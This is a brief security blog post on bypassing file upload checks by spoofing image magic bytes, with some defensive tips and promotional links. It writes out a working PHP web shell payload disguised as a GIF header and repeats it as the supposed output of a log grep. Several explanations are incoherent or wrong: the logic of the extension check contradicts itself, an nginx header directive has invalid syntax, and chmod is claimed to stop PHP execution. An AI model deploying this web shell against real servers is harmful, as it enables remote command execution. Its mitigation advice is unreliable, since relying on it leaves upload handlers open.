Bypassing File Upload Validation with Magic Bytes

Listen to this Post

Developers often rely on file extension validation to secure upload functionalities, but attackers can bypass this by manipulating magic bytes—the unique identifiers at the start of a file. Here’s how to exploit and defend against this vulnerability.

You Should Know:

1. Understanding Magic Bytes

Magic bytes are the first few bytes of a file that define its type (e.g., `PNG` files start with ‰PNG, JPEGs with ÿØÿà). Attackers can spoof these to bypass extension checks.

2. Bypassing Validation

Example: Uploading a PHP shell disguised as an image:
– Step 1: Craft a malicious PHP file (shell.php) with image headers:

GIF89a; <?php system($_GET['cmd']); ?>

– Step 2: Upload the file. The server may only check the `.php` extension but miss the magic bytes.

Verification Command (Linux):

file -b shell.php # Output: GIF image (misleading)

#### **3. Secure Validation Techniques**

  • Use `libmagic` (Linux):
    python3 -m pip install python-magic
    

**Python Script to Check Magic Bytes:**

import magic
print(magic.from_file("uploaded_file", mime=True))
  • Windows PowerShell File Check:
    Get-Content -TotalCount 4 -Encoding Byte "file.exe" | Format-Hex
    

#### **4. Server-Side Mitigation**

  • Restrict Permissions:
    chmod -R 750 /var/www/uploads # Prevent execution
    
  • Use Content-Disposition Headers:
    add_header Content-Disposition "attachment" for .php, .exe;
    

### **What Undercode Say**

Magic byte bypasses highlight the need for multi-layered validation. Always:

1. **Verify MIME types server-side.**

2. **Use file signature checks.**

3. **Isolate uploads in non-executable directories.**

4. **Log suspicious uploads:**

grep ".php" /var/log/nginx/access.log # Detect upload attempts

**Expected Output:**

GIF89a; <?php system($_GET['cmd']); ?> 

**Relevant Course URLs:**

  1. Advanced Penetration Testing
  2. Web App Security
  3. Ethical Hacking

References:

Reported By: Zlatanh Developers – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image